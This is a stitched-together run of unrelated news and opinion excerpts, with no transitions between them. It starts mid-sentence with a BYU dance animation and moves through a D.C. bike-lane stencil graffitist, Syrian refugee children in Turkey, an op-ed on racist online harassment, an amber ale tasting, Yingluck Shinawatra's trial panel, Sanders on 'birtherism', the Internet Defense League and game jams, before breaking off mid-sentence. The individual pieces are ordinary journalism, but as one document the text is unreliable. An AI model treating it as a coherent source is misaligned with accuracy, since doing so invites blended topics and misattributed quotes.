Dance Dept. instructor Kori Wakamatsu. Woodward, who has done storyboards for Hollywood blockbusters (Iron Man 2, Spider Man 3 and Where the Wild Things Are), approached Wakamatsu with the concept this summer. “Just thinking about that dynamic of relationships stirred my mind about doing an animation with dance,” Woodward said. “I knew I could not animate a beautiful, contemporary dance because I’m not a dance choreographer, and that’s where Kori came in.” See the behind-the-scenes video. “Ryan gave me the back story to the piece and what motivated it and how he wanted it to be a love story,” Wakamatsu said. “I love it when the arts can integrate and find ways to connect.” Wakamatsu choreographed a routine and chose dancers to perform the piece. Woodward then had the dance filmed so he could recreate it with animation, which he did by using 24 frames for every second. The end result is a touching animated short that has now notched more than 1 million views between Vimeo and YouTube. “I hope the people that watch it do have some sort of a moving experience,” Woodward said. Follow BYU news on Twitter: @BYU -Fifteenth Street NW, heading south toward R Street. It’s nearly midnight. “Five-oh, left,” the Bike Artist says coolly as we whoosh past the alley. We brake as the cycletrack hits the intersection, and peer back to confirm we’re past the police cruiser’s line of sight. Clear. M. hops off his bicycle, descends into a crablike stance, and sweeps a patch of asphalt with a large cleaning brush. Straddling her bike, K. drops a slab of carved-up, durable plastic on the ground. The Bike Artist leans over, pulls a can of spraypaint out of a bag, and quickly releases a stream as her hand scans the surface. Lay it and spray it. K. lifts the plastic stencil, and we inspect the night’s first bombing. “Bicycle Year-Round!” Pink. Nailed it. Spraycans go back in the bag. Stencils return to the bike rack. As we wait in the empty, pedestrian-free silence for the light to turn, M. inches his bike into the crosswalk. “Scofflaw!” the Bike Artist says, smirking. A bicyclist has to behave, after all. *** The anonymous stencils first appeared in August. You’d notice them at reds as you braked at the mouth of an intersection. You’d look down, perhaps as you began to creep into the crosswalk, and spy the Day-Glo words on the asphalt: “Make Us Bicyclists Look Good.” And then, maybe, you’d stay put, waiting for that green. By the middle of August, the messages had emerged up and down 15th Street’s protected cycletrack, around the National Mall, and in bike lanes on R and T streets NW and Rhode Island Avenue. They contained affirmations like “Thank You for Biking,” “Your Bike Is Sexy,” and “Smile! You’re on a Bicycle”; cutesy reminders like “Please Bike Safely Honey. Love, Your Parents”; and cheeky exclamations like “Don’t Door Me Bro.” These weren’t missives for pedestrians, or motorists, or anyone who wasn’t on a bike. If you don’t spend any time in bike lanes, you probably didn’t see them. But among bike commuters, they quickly punctured daily water-cooler talk. Did you see the bike-lane graffiti? In the middle of August, Streetsblog, a transportation website, posted a video with a fist-pump-inducing soundtrack and described the stencil art as “extraordinarily motivating” and “sweet.” DCist called it “rather delightful”; Instagram and Twitter users memorialized their stencil-brightened commutes (“OMG I LOVE THESE!!!” read one Instagram comment); and for about a month, pictures of the stencils seemed to take over the popular #bikedc hashtag. (One of the stencils, sensing the opportunity, read “#bikedc.”) Even the District Department of Transportation conceded it had been charmed. While a spokeswoman told DCist that the agency planned to “check into” the stencil art, the @DDOT Twitter feed called the bike-lane messages “kinda cool!” On Reddit, users debated how the bicycle-lane messages might impact cycling etiquette. “This is fantastic, spray them right next to every rack and street lamp in florescent paint,” wrote one user. Others were skeptical, for different reasons. “I always stop at red lights regardless of these stencils and unfortunately they don’t seem to stop the 10+ riders behind me that blow through red lights on 15th and K St. for example,” wrote a Redditor. Another: “As one ‘asshole cyclist’ among many, I don’t know what they expect this to accomplish. We know exactly what we are doing and we do it anyway. It’s not some sort of ‘I didn’t know I couldn’t do that’ situation, nor do we go through red lights and stop signs by accident.” The messages proliferated throughout the fall, with dozens appearing in Shaw, Bloomingdale, and Logan Circle. Adams Morgan. Woodley Park. Downtown. Just recently in Arlington, at the entrance to the Key Bridge. After the 15th Street cycletrack was repaved—and the stencil art along it was destroyed—the tagger struck again, restamping the entire strip. One slogan emerged on M Street NW between 15th and 16th streets—a block where the city recently canceled part of a planned cycletrack at the urging of a church that wanted to preserve curbside space for congregants’ cars. The decision angered District bike advocates and inspired the mystery stenciler to tattoo the block’s pavement with the message “Jesus Loves Bicyclists.” That one threw some political shade, but for the most part the messages aren’t meant for bicyclists’ detractors. They say encouraging things such as “Drive Your Bike” and “Bike [Heart]” and “I Want to Ride My Bike With You,” like telegrams from the conscience of D.C.’s collective bicycling consciousness. From time to time on my ride home on 15th Street, I see fellow commuters stopping at red lights, spotting the stencils, and smiling. The messages are illicit by their nature but adorable in their content—quietly empowering random acts of cuteness. That, or they’re the least dangerous, least unsettling use of graffiti D.C. has ever seen. I started asking around. It turns out the person behind the stencils—I interviewed her on the condition of anonymity, and agreed to refer to her as the Bike Artist, or BA—isn’t a seasoned graffiti writer, a transit insurrectionist, or even an activist by inclination. Mostly, she wants bicyclists to be a little more polite, be a little friendlier with other road users, and feel a little more appreciated. Her project is both an undertaking of passion and a bit of a lark. And although it wants to inspire and improve the culture of bicycling in D.C., it might reveal even more about it. *** Coasting toward P Street, BA calls the play: We’re hitting all four sides of the intersection. So far, it’s been low-stress. No bystanders. Careful, quick tagging. Lay ’em and spray ’em. There’s a protocol to this—you can’t do this kind of thing without rules—but so far, so easy. Time to get bold. I follow BA to the southwestern corner. She drops a stencil on the pavement. “What are you spraying?” calls a voice. It’s a pedestrian, coming our way from the Logan Circle bars. “Just a little friendly bike message,” BA says. Do you bike? Well, she’s not a local. But she tried Capital Bikeshare. That’s worth a high five. BA bends over to spray the ground, and the woman continues walking on P Street, turning around at the decisive moment to snap a photo with her phone. Instagram gold. *** Before BA tagged her first bike lane, she took a cut-up map of the District and marked the streets and avenues she wanted to spray. Then she stashed it behind a large artwork hanging in her living room. “I wanted this to be a fun, secret mission thing,” she says. BA is a white, young professional who lives in Northwest and has been bike commuting in the District for the nearly four years she’s lived here. She is probably the most responsible bicyclist I’ve ever met: Even on tagging runs, she wears a yellow reflective vest and yellow reflective anklets, presumable hindrances in a flight for freedom. Nine times out of 10, she says, she waits until a red light turns green before biking through an intersection. The first time I met her, she very politely told me I was wearing my helmet unsafely. She picks up litter off the road, even though she also marks it permanently with spray paint. BA had never made illegal art before August, but says she had been thinking about the roads—about how they are underused as something that carries information—for some time. D.C.’s bike infrastructure may have boomed since the Adrian Fenty administration, but the city could be doing much more to foster better behavior by road users, BA says. After watching a couple of graffiti documentaries, she had an epiphany: She’d reach out to her own tribe and help soften bikers’ reputation as transportation insurgents by talking to them in their native habitat. D.C.’s roads, BA says, “are not utilized in any way other than street signs to promote and inform. So I saw the streets as being a blank canvas. They’re completely disregarded as something we see every day. The sewage markings, the remnants of construction projects—the streets are just ugly, wasted uses of public space when it comes to our visual relationship with them. I wanted something that was eye-catching and thought-provoking and beautiful that made people smile.” The bright, encouraging—twee, if you’d like—tone of BA’s stencil art has a purpose. “We want more people to bike,” she says. “We want bicyclists to smile and know they’re appreciated. We want bicyclists to smile at other bicyclists and road users. Most importantly, we want D.C. to be a safe place to ride a bike.” BA started by buying a pack of thick plastic cutting boards, into which she carved the messages with an X-Acto knife. After a trial run in her neighborhood, she went out with a friend, starting in August with the 15th Street NW cycletrack, which she knew was scheduled for repaving. She wanted to gauge the reaction to her project but didn’t want to permanently mar public space if it wasn’t worthwhile. “If it looked like shit, I did not want to put more crap on the streets. I wanted this to be art,” she says. She quickly decided it was and tagged two more streets that night. Then she left D.C. to visit her hometown. “I kind of fled town, like, ‘I’m gonna do a bunch, and then I’m gonna leave.’” She wasn’t caught. Almost immediately, bicyclists were tweeting about the stencils. And while some D.C. pals had been skittish before, now they wanted in. She wanted to find more collaborators, too. “I sent out a call to all my friends, like, ‘Do you want to get in on this project? This is the shit you’re going to tell your grandchildren.’” Throughout the fall, BA occasionally gathered friends at her home to share a meal and game out the evening’s stenciling—what she calls “LayNSpray.” On the night in November that I followed her while she resprayed 15th Street, her accomplices were K., a barista, and M., who works at the State Department. We met at the Adams Morgan bar Angles, chatting at a window table while BA and M. scraped goops of paint off the more heavily used stencils. They also did some surgery: Too much use had turned “I Want to Ride My Bike With You” into “I Want to Ride My Bike Vith You.” On this evening, BA began with a ceremonial reading of the relevant legal statute—and then the request that, should the fuzz intrude, everyone bike away so that BA alone will take the heat. And there are rules: Since many street cameras erase their footage about every 10 days, BA asks her accomplices not to mention the tagging in email, on Facebook, or on Twitter for a week and a half. “And that just gets more into the fun secrecy of it all,” she says. One of the most exciting LayNSprays took place on the National Mall, she says. “We put hearts on all of the bike signals. It was really sweet. And that was to say these are symbolic of human beings. It’s a person. We are living, breathing beings. Give us respect.” *** Fifteenth and Massachusetts. “More Bike Lanes.” Barely legible. “Newsflash,” says M. “Orange is crap.” BA, annoyed by the spray job, bikes on. Then she smiles. “Orange you glad we have more colors?” *** BA may be new to street art, but she understands where bombing—the writing of one’s name on a public surface—comes from: An art form of the voiceless, it’s about proclaiming your existence to a world that has failed to notice you. In her case, “failed to notice” might mean something closer to “didn’t see you before my SUV right-hooked you on your bike.” But while BA has cannily adopted an art form that’s historically belonged to marginalized people and placed it in the streets’ margins, for the most part she’s not proclaiming her existence to the right-hookers. She’s talking to the right-hookees. If BA is caught, the punishments are real. According to the D.C. Code, BA could face as many as 10 years in prison and fines up to $5,000 if she’s found guilty of damages totalling more than $1,000. But anyone who can tag frequently well-lit streets for months without consequence must enjoy some kind of privilege. BA knows it. “People look over with curiosity,” she says of the times she is spotted. “Either people are so complacent they’re not even observant of what’s going on, or they could care less because I’m a young white girl.” Sometimes other bikers double-take when they see BA tagging, but the reaction is receptive. Once, a rider biked by her while she was spraying at 14th and V. “He, like, circled back, looked at the ground, got closer, looked up and said, ‘Whoa, you’re the one. You’re the one!’ He started screaming it in the intersection, and I was like, ‘Dude, keep it quiet.’ And he was like, ‘You’re the one.’ It made me feel like Batman or something.” Several D.C. government officials interviewed for this story say the Metropolitan Police Department rarely pursues street artists who aren’t generating numerous complaints—like Borf, the teenage tagger whose works briefly captivated Washingtonians until his arrest in 2005—or spraying gang-related messages or names. Likewise, the Department of Public Works, which “doesn’t necessarily tolerate” street art on public property like the bases of lamp posts, prioritizes cleaning up material that’s gang-related, offensive, or has inspired a complaint, according to spokeswoman Linda Grant. To Grant’s knowledge, no one has complained to DPW about the bike-lane stencils. “I’d say that the messages are positive and pretty unobtrusive. They don’t distract from people using the street safely,” emails Sam Zimbabwe, DDOT’s director of policy, planning, and sustainability administration, when asked about the bike-lane stencils. “We generally don’t want people to do things like this, because if we did have to remove the stencils it’s a cost to the agency and taxpayers, which means other needed work may not get done. But this isn’t really the same as defacing a sign or creating a large mural in the street because of the size and the fact that the messages are positive.” BA says she’s worried about being caught—mostly because of what it could cost her financially—but believes she could gather support among bike enthusiasts and galvanize momentum for better biking infrastructure and bicyclist behavior. Maybe she shouldn’t worry. On the night I watched BA and her friends tag 15th Street, M. wondered out loud if I was going to portray the crew as reckless, entitled white kids. They certainly have tagging down to something like a science, but over time, they got remarkably looser. At several points, they left three or four stencils next to one another, spending several traffic-light cycles at a single intersection. They greeted passersby, spraycans in hand. And why not be reckless, when the odds of being caught appear to be so low? The most remarkable thing about writing on a well-lit street while being white, 20-something, and bike-bound is how little suspicion you arouse—from cops cruising by, from security guards, from anyone. I had to wonder if the kids who once made the above-ground stretch of the Red Line heading toward Silver Spring a graffiti destination ever had it so easy. BA and her compatriots may borrow graffiti’s customs, but they don’t live in its world. Even Borf’s sentence was light compared to the maximum punishment—while he was ordered to pay $12,000 in restitution after pleading guilty to tagging a Howard University building, he served only a month in jail. BA is hardly Borf on a bike, at least in terms of any damage she’s doing; if city officials say they’re barely bothered by her stencils, would a judge really treat her as a menace? That she’s tagging public property with well-meaning messages, not painting private buildings with pseudo-anarchic axioms, seems to have helped her cause, at least among local officials. From a street artist’s perspective, there’s another advantage to BA’s method. Because streets are public property, tags there tend to last much longer than tags on walls, which are often removed quickly, says Cory Stowers, an amateur graffiti historian who runs Art Under Pressure, a skate and paint shop in Petworth. And while street-bound street art isn’t a common approach, it does have a long tradition: Kids have been painting their names on the pavement as long as they’ve been painting them on the side of subway cars. BA’s stencils aren’t alone on D.C.’s streets. There are the Toynbee Tiles, with their esoteric messages, that can be found on city streets across the Western Hemisphere, plus the Stikman robots that inhabit crosswalks across the United States. Fine artists like Steed Taylor have created sanctioned, gallery-supported “road tattoos.” There’s an artist in Bowie who creates Pac-Man figures, some which are placed so that they appear to be eating lines on the road. That guy uses a heavy-duty adhesive that reacts to heat in order to become permanent, Stowers says. Corporate viral marketers will sometimes stamp hashtags on D.C. roads and sidewalks using materials that fade to nothing in four or five months. Creating street art that’s actually on the street is a bit more technically difficult than using a wall, Stowers says—you have to hold the can a different way, for starters—but it has the appeal of being less competitive. “Not too many people do it, and it’s a great way to attract attention,” he says. “Going onto the ground is an excellent canvas for folks putting their message out.” *** Fifteenth and K streets. BA says it’s my turn to tag. I stammer and agree, but decide to wait for I Street, a block from my office. I botch a gold-colored “Jesus Loves Bicycles”—wrong hand position—and mess up another stencil inside a white bike arrow. Shrugs. They paint the whole arrow pink. *** The Bike Artist isn’t nearly done. She wants to tag more lanes in high-traffic bicycling areas and move away from her more humorous messages to focus on promoting responsibility and etiquette. And she’s even seen at least one imitator: A friend has begun spraying stencils in Columbia Heights, using his own designs. Similar-looking stencils aimed at pedestrians can be found on 11th Street NW in the same neighborhood, though BA didn’t notice them until after her project began. In many ways, the tone of her street art—chipper, encouraging, mischievous but hardly subversive—reflects a change in D.C.’s bike culture. Between 2000 and 2011, only New York City saw a sharper drop in car commuting than D.C., according to a recent Public Interest Research Group study. Bikeshare reports about 250,000 rides a month. According to the League of American Bicyclists, bike commuting in D.C. grew 445 percent between 1990 and 2012, and as many as 4.1 percent of D.C. workers commute on bike. The typical D.C. biker is a lot like the Bike Artist—pretty normal. “Bicyclists now aren’t your middle-aged men in Lycra, they aren’t the young white hipster bike-messenger lookalikes,” BA says. “Everyone bikes.” Bike culture in D.C. is “night and day” from about a decade ago, says BicycleSpace co-owner Erik Kugler, whose 7th Street NW bike shop sits in front of a rare sidewalk stencil made by BA. “It used to be exemplified by the courier culture...that was a turnoff to many people. Now it’s just everyday people who are out. What separates the culture now is it feels like you’re in on a secret that brings happiness to your life.” That’s exactly the distinction BA is trying to draw—between bicyclists’ reputation, semirooted in an outdated notion of who bikes, and the way she feels every bicyclist ought to behave. Where most of us fall is probably somewhere in between. “Bicyclists have a reputation of being serious assholes, and this is confronting that perception,” BA says of her project. As an example, she points to a recent article on Greater Greater Washington, a first-person account by a bike-accident victim who was ticketed by police after a driver turned into his path, causing a collision, and was later allegedly told by a police officer that of course he was at fault—he’s a biker. In that case, the bicyclist did everything right. But in the heated discourse of urban transit policy, BA is frustrated that bicyclists are often stereotyped as aggressive lawbreakers. That perception, she says, is unfair, but is nevertheless framed “by the portion of people that run through red lights, don’t yield at stop signs, bike on sidewalks, bike the wrong way up streets—those people frame other road users’ perceptions that all bicyclists are wrong and disrespectful. I’m so polite. I’m overly polite to get over that perception. I, like, stop and wave and smile at people.” Bikers, of course, have plenty of reasons to remain aggressive—they still get killed on the road, after all, and must navigate laws that often force them to think like motorists and pedestrians at the same time. And so the notion that more bicyclists ought to set a better example, Kugler says, is “a little tough to swallow with all these cars doing illegal U-turns” and violating traffic laws in ways that can hurt bikers. “We’re supposed to be the ones who set a good example?” As American cities have knocked down the barriers to everyday biking by building more bike lanes, adding Bikeshare systems, and improving signage—as they’ve given more of the road to bicyclists—those policies have become politicized. (See the conservative think tank founder who recently berated a bicyclist for reporting a truck blocking the L Street cycletrack, or Christopher Caldwell’s recent Weekly Standard screed against the bicycling lobby.) But in D.C., the temperature of the bicycle debate is beginning to drop. Public discourse still centers on the toll of gentrification—on the widening gulf between the city’s wealthier, whiter population and its poorer, blacker one—but three years removed from the Fenty administration, bicycling is less of a signifier of a societal rift. (Biking advocates, of course, might point out that the pace of bicycle-infrastructure expansion has slowed, too, although DDOT wants to build 140 more miles of cycletracks and bike lanes.) And as the population of daily, nonideological bicyclists has grown, BA’s instinct—that they need an angel on their shoulder—more or less feels right. That, anyway, is why Kugler says he gives the bike stencils a “99 out of 100.” “It’s a message for the modern biking culture,” Kugler says. “It’s not a renegade culture anymore.” *** -YAYLADAGI, Turkey (Reuters) - When nine-year old Ilaf Hassun drew a picture of her home she scrawled a simple house, trees and clouds with smiling faces. Then in thick red pen, she added the figure of a woman clutching her dead child walking towards a cemetery. Syrian refugee Islem Halife, 11, shows a drawing of her home in Syria, as she sits in a classroom where she learns the Quran in Nizip refugee camp in Gaziantep province, Turkey, December 13, 2015. REUTERS/Umit Bektas Syria’s conflict has left hundreds of thousands dead, pushed millions more into exile, and had a profound effect on children who lost their homes or became caught up in the bloodletting. Hassun and her family are living with nearly 3,000 other people - 1,000 of them under 12 years old - in Yayladagi Refugee Camp, a former tobacco factory converted by the government just across the border from Syria in eastern Turkey. Her father works illegally in Turkey and rarely visits. She plays with the other children, but her artwork points to the mental scars borne by her and many of the 2.3 million Syrian refugees living in Turkey, more than half of them children. Providing mental security as well as physical shelter is one of the challenges facing Turkish authorities. A Reuters photo story from various camps in the region shows the children at play and displaying their drawings. It all appears very normal - a girl skips rope, another poses in front of her tent, others weave, teenage boys play football. To see the photo story, click: reut.rs/1N99tK9 “We have to find a way to let these children forget the war and what they experienced,” Ahmet Lutfi Akar, president of the Turkish Red Crescent, told Reuters. “These (children) grow up in camps. We have to teach this generation that problems can be solved without fighting, and we have to erase the scars of war.” The Turkish government, aided by the United Nations and non-governmental organizations, has set up 27 “Kid-Friendly Fields” across the country, used by an estimated 100,000 children between the ages of four to 18 who receive support and education, and a chance to be children. The centers are the latest effort by authorities to ramp up their humanitarian response and provide long-term care for refugee communities unlikely to be able to return for years. From the age of 9, the Arabic-speaking children are taught Turkish to help them integrate. “When they arrive in a different country they have difficulties living in a different culture, in a world speaking a different language,” said Meryem Dolgun, a youth worker. “They have self-confidence problems, fear. Some think they are worthless.” PICTURES OF TANKS, CRYING MOTHERS The most severely traumatized are sent to specialist hospitals, but the rest are given support within the camps. “They draw tanks, war planes, dead people, wounded children, crying mothers. Drawings are the evidence of their trauma, the reflection of their inner worlds,” Dolgun said. The need to provide schooling and a future for Syrian children in Turkey - and prevent what Dolgun called a “lost generation” - has become a high priority. The work has taken on greater political significance since Turkey agreed last year to try to stem the flow of migrants to Europe, in return for 3 billion euros ($3.23 billion) in European Union aid and moves towards visa-free travel for Turks. Turkish officials say they have spent more than $8 billion responding to the Syrian crisis. But if migrant numbers are to drop, Turkey’s refugee response needs to be scaled up. With just 330,000 places available in camps, and many refugees preferring to take their chances begging or working illegally in Turkey’s major cities, only a fraction of children are receiving help. Yet the system is already creaking. In November, Turkey’s disaster management agency urged displaced Syrians to stay in camps in their own country, rather than crossing to Turkey. Many Syrian children in Turkish camps dream not of Europe, or even staying in Turkey, but of returning to their homes. “If they go back home they will catch happiness. This is their motto,” Dolgun said. Slideshow (19 Images) One such is six-year old Gays Cardak. He is already planning to use what he learns at school in Yayladagi to help his country, shattered by nearly five years of war. “I’m going to be a doctor and an engineer. We the engineers will rebuild Syria, and I’ll take the (soldiers) to hospital,” he said, wrapped in a small winter jacket in the bitter cold. (This story has been refiled to fix link to photo story) -M any on the internet were shocked and appalled when Leslie Jones, star of the recent blockbuster Ghostbusters, started retweeting some of the racist and misogynistic abuse she has been receiving in recent days. But just as there were articles and tweets going out standing in solidarity with Jones and expressing outrage at the abuse, there were those who quickly wrote it off. Some said the tweets were just mean pranks by kids, others said they were “to be expected” for the internet, even more criticized Jones for supposedly “encouraging” trolls by not ignoring them But many other women of color – especially black women – on the internet face the same abuse that Jones is now facing, and we will tell you that this isn’t a harmless prank, this isn’t about hurt feelings or even the sting of a racist comment. This is a deliberate campaign of abuse perpetrated on us to keep us off of the internet, and it needs to be taken seriously. I remember the first time I noticed coordinated attacks against me. One day, a few years ago, I started suddenly receiving a large amount of hate-filled tweets from people who appeared to be neo-Nazis. Dozens of tweets from people with swastikas in their profile pictures were comparing me to gorillas, calling me a welfare queen, showing pictures of hanged black men and women, calling me every racial slur out there and some that may have just been invented that day for those very tweets. Yes, I had received racist tweets in the past – at least a few each day, but this was different. This was a sea of hate doing its best to engulf me. Finally, one of my followers sent me a link that explained what was happening– somebody had created a thread about me on a neo-Nazi site. I had some tweets about race that had been picked up by national press, and this neo-Nazi group had decided that this was too much legitimacy for a black woman to have, so they fired up their troops with screenshots of my tweets and information about where to find me on social media. Their goal was to harass me off of the internet because my voice was considered a threat. That was the first campaign of many, and whenever I find myself drowning in racist and sexist vitriol, a quick Google search will usually find a group working hard to create and sustain the abuse that I’m receiving. This is never organic, this is never an accident – it is a purposeful campaign every time. I have reported hundreds of such abusive tweets and Facebook comments, but can count the number of times that Twitter or Facebook have determined that these horribly violent racist and misogynistic messages violate their policy on one hand. I have blocked over 60,000 people on Twitter , and yet still, every day abuse comes. I am certainly not alone. Every day, black women like Feminista Jones, Franchesca Ramsey, Melissa Harris-Perry, Imani Gandy, Jamilah Lemieux and countless others – women whose very presence helps make social media profitable for corporations like Facebook and Twitter, women who’s insightful social commentary draw millions of people to these platforms – face regular, coordinated campaigns of abuse aimed at forcing them off of the internet. So when Leslie Jones was receiving a deluge of racist and misogynistic tweets, it was no surprise to me or any other woman of color on the internet to see professional abusers like Milo Yiannopoulos and the rest of the staff at Brietbart gleefully doing their best to encourage abuse from their millions of followers who also see loud black women as a threat and a source of what they view as their denied birthright of power and respect as white men. This woman, this dark-skinned black woman – who didn’t even have the courtesy to be “conventionally” attractive by their standards – had the audacity to star in an all-female remake of a beloved white-dude film? Of course she must pay by being forced off of the internet – a platform essential to those in public life today. These abusers know the power of the internet, and it’s access to that power that they hope to consolidate for themselves and deny women like Jones with their abuse. For many of us, our very livelihoods are at stake. My writing career is dependent on the internet. This is the same for many women, people of color, disabled people, and LGBT people who have long been denied access to traditional press. When Milo Yiannopoulos lost his Twitter verified status due to previous campaigns of horrific abuse against women and people of color on the internet, he didn’t chalk it up to “the cost of being on the internet” – he went to the White House to complain. He knows that the internet is vital to his work as a public figure – even if that work consists mainly of harassing other people out of that public sphere. “Is there anything the president can do to encourage Silicon Valley to remind them of the critical importance of open free speech in our society?” Yiannopoulos asked. But it is that very same free speech that Yiannopoulos and others work to deny marginalized populations on social media with their campaigns of abuse. They do not have the power to cut off our access to the internet outright, so they will instead make it unbearable for us to be there. They are complicit enablers of the thousands of angry, hateful “trolls” who bombard us with rape threats, racist slurs, images of torture and abuse. When trolls traumatize us until the cost is too high, we remove ourselves from the public sphere. And when that happens, we are being silenced not only by the hordes of white men who want to bully us out of public life, but by the corporations who make millions off of our contributions to social media. It is time for Twitter and Facebook to step up and embody the commitment to free access and free speech that they claim to hold dear. -How you feel about these beers will depend on how you feel about the assertive flavor of American hops. Some of these beers seemed to be closer in style to American India Pale Ales, which can show intense hop bitterness rather than the stylistically preferred medium strength. Right now, the American beer culture seems to be in love with the character of American hops. But I often find their intensity to be overbearing. They dominate other flavors and tend to homogenize styles that should be distinctive. It’s a little bit like oakiness in wine. American wine drinkers fell in love with oak flavors in the 1980s and ’90s, and many winemakers intensified their use of oak. But many consumers tired of these flavors, and pervasive oakiness has receded over time. I believe the same will happen with the ubiquitous hoppiness of American beers. Hoppy as they may be, I can’t deny that we found many fine beers, none better than Stoudt’s Revel Red, which does not mince words, calling itself a Hoppy Ale. Yes, it was hoppy, but as with all our favorites, the malt character was apparent as well, beautifully integrated here in a lovely counterpoint with the hops. Sadly, Stoudt’s brews this beer seasonally, finishing just as spring starts. Clearly, the brewery needs convincing as to the category’s spring-worthiness. Our No. 2 beer was the Lagunitas Censored, described as “Rich Copper Ale,” a more restrained beer than the Revel Red, but once again showing a gorgeous balance between malt and hop flavors. Why is it called Censored? According to the Lagunitas Web site, the federal government did not approve of the original name, Kronik, which it suggested was a reference to marijuana. “We slapped a ‘Censored’ sticker on it as a joke, and they accepted it,” the brewery said. “Whatever.” Ithaca apparently had no such government issue with its Cascazilla Red Ale, a clear, complex and brisk brew. Nor did Rogue, with its Red Fox Amber Ale, our No. 4 beer, with its intertwining malt and hop flavors. The Rogue was the first among our top 10 to use the term “amber,” though it confuses the matter by throwing in “red” as well. Anderson Valley Brewing took a more straightforward approach with its Boont Amber Ale, our No. 5. It was sweetly malty and even slightly fruity with underlying hop bitterness. I should note that our top three brews were among those in our tasting with higher levels of alcohol. Stoudt’s was at 6.2, Lagunitas at 6.75, Ithaca at a full 7.0. Rogue at 5.1 and Anderson Valley at 5.8 were a little more restrained. What does this mean? Only that I might be happier knocking back a few Red Foxes on a sunny afternoon to celebrate the start of baseball season than a few Cascazillas. The beers we didn’t like tended to be overly shrill and out of balance with hop flavors, or to be simply anemic. Too much maltiness did not seem to be a problem. Our tasting offered just a cross section of the many, many American craft beers that fall into this category. Clearly, even defined as Amber/Red, the designation covers a very wide range of flavors and styles. It pays to get to know the styles of the various producers, and to know your own tastes. When you invite Brother American Amber to the table, he brings along an extended family. -As public attention is focusing on the upcoming August 25 verdict on former prime minister Yingluck Shinawatra on trial for dereliction of duty over the handling of the rice pledging scheme, little is known about the judges in the Supreme Court’s Criminal Division for Holders of Political Offices who will decide on her fate or the men who have done the best they can to defend the ex-prime minister. A panel of nine judges was assigned to deliberate the case. But for the past two years and six months since the trial of Ms Yingluck started, 14 senior judges have sat on the panel and some of them have retired or have been replaced. The current panel of nine judges include 1.Mr Cheep Chulamon, the chief handler of the case and the acting Supreme Court president 2.Mr Thanaruek Nitiserani, the acting president of the Appeals Court 3.Mrs Ubonrat Luiwikkai, acting vice president of the Supreme Court 4.Mr Thanasit Nilkamhaeng, acting vice president of the Supreme Court 5.Mr Salaikate Wattanapan, acting vice president of the Supreme Court 6.Mr Sopon Rote-anon, acting vice president of the Supreme Court 7.Mr Viroon Saengthien, vice president of the Supreme Court 8.Mr Phison Piroon, chair of the Criminal Division for Holders of Political Offices; and 9.Mr Thanit Kesavapitak, a former Constitutional Court judge. Of the nine judges, five of them also sit in the panel on the trial of the government-to-government rice scandal implicating former commerce minister Boonsong Teriyaphirom. Verdict of the case is also due on August 25. This explains why the verdicts of the two court cases are scheduled to be read on the same day. On the defence side, the team of lawyers is headed by Mr Pichit Chuenban and comprises Mr Anek Kamchum, Mr Norrawit Larlaeng and Mr Sommai Koosap. Moreover, the team is also assisted by the Pheu Thai Party’s top legal hands, including Chusak Sirinil, Bhokin Bhalakula, Noppadol Pattama, Ruangkrai Leekitwattana and political strategist Phumtham Wechayachai. The same team lawyers used to defend former prime minister Thaksin Shinawatra on the Ratchadapisek land scandal in the Supreme Court’s Criminal Division for Holders of Political Offices. But the team lost the case and Thaksin was sentenced in absentia to 2-year imprisonment while his wife, Khunying Potjaman, was cleared of all the charges. Political observers commented that the strength of Ms Yingluck’s lawyers’ team defending the rice pledging case is that they have worked closely with the Pheu Thai’s lawyers team, which added political tactics in fighting the case. For example, in Ms Yingluck’s verbal closing statement on Aug 1, she accused Prime Minister Prayut Chan-o-cha for giving press interviews in a way that lead the public into believing that she was guilty in the case. She said on July 25, Gen Prayut gave in interview to the media and said “if this scheme isn’t wrong, how could it go all the way to the justice system.” She said the remark was tantamount to a conclusion that she was guilty despite the fact that the court has not yet had a judgement. No one can correctly predict the outcome of the verdicts of the two rice-related cases. But the good news is that – this time around – the defendants in both cases have the right to appeal their judgements to the plenary meeting of the Supreme Court judges in accordance with the new Constitution. In the past, the verdicts of the Supreme Court’s Criminal Division for Holders olf Political Offices are final and cannot be appealed. -Story highlights Bernie Sanders slammed Donald Trump's attempts to put the "birther" issue to rest Sanders also pressed the case for Clinton and presented the 2016 election as a stark choice (CNN) Sen. Bernie Sanders sarcastically dismissed a statement from Donald Trump's campaign saying that the Republican nominee now believes President Barack Obama is a US citizen, arguing that the "birther" movement is about "delegitimizing the first African-American president in the history of our country." Appearing Friday on "New Day" on CNN, Sanders offered a caustic rejection of the Trump campaign's statement, put out by spokesman Jason Miller on Thursday night. "Well isn't that something. My word! After eight years of having President Obama as president, Donald Trump now thinks he's a legitimate president. Well I'm just overwhelmed with emotion," Sanders told CNN's Chris Cuomo. "Look, this is pathetic. And this goes to the root of what Trump's campaign is about," said Sanders. "Let's be clear -- it's about bigotry. You remember, let's all remember, that a few years ago, Donald Trump was the leader of the so-called 'birther' movement. And what the birther movement was about was not being critical of Obama. This is democracy, we can criticize Obama. It was delegitimizing the first African-American president." "It is not acceptable for a candidate for president of the United States to be arguing whether or not our President was born in this country." Read More -Internet Defense League members, thank you for your support. It was epic. While member sites broadcasted their support, we blasted our “cat signal” into the sky in cities around the world (on Batman's opening night!) Though the launch of a grassroots campaign to protect the Internet is worth celebrating, there's nothing like an IRL event to feel the power of the Internet community. We had such a great time at the Internet Defense League launch parties that we thought we'd share a few highlights. The Cat Signal on the San Francisco Bay Bridge. Credit: @EFF The Cat Signal on Lafayette Avenue in New York City. Credit: @MagicZoetrope Credit: @BenjaminSimon New York City packed the house! The Cat Signal on the San Francisco Bay Bridge. Credit: Ben Simon, Mozilla More pictures available on the event's livestream. Thanks go out to our hosts and supporters: Mozilla, New America Foundation, Open Plans, the Participatory Politics Foundation, Craig Newmark, Matt Mullenweg, Union Square Ventures, Brad Burnham, Nick Grossman, Elizabeth Stark, and each of our donors. We couldn't have done it without you! -So, you've always had a passion for games. Now you have a few CS or art classes under your belt and you're serious about getting into the indie game development scene. But what's the next step? Allow me to recommend a game jam. What's a Game Jam? Every jam is a little different, but in general, it's an opportunity for a diverse set of game developers to come together in one place and make game prototypes during a 24-48 hour time window. Most jams cater to all skill levels. In most cases, teams of 4-6 members are randomly chosen at the start of the jam in a way that insures that each team has at least one experienced programmer and one artist. In most cases, you can choose the development environment you want to work with (Flash, C#, Unity, C++, Java,...) and game ideas are constrained by a theme that's usually announced the day of the competition to prevent participants from planning too much in advance. While some jams will give awards for the favorite games, you shouldn't think of a jam as a competition. It's an environment where everyone wants everyone else to succeed. In short, if you want to participate, there's no need to do any advance planning. In fact, it's discouraged. Just show up with a computer and get ready to have some fun. Can you really build a game in 24-48 hours? There are dozens of 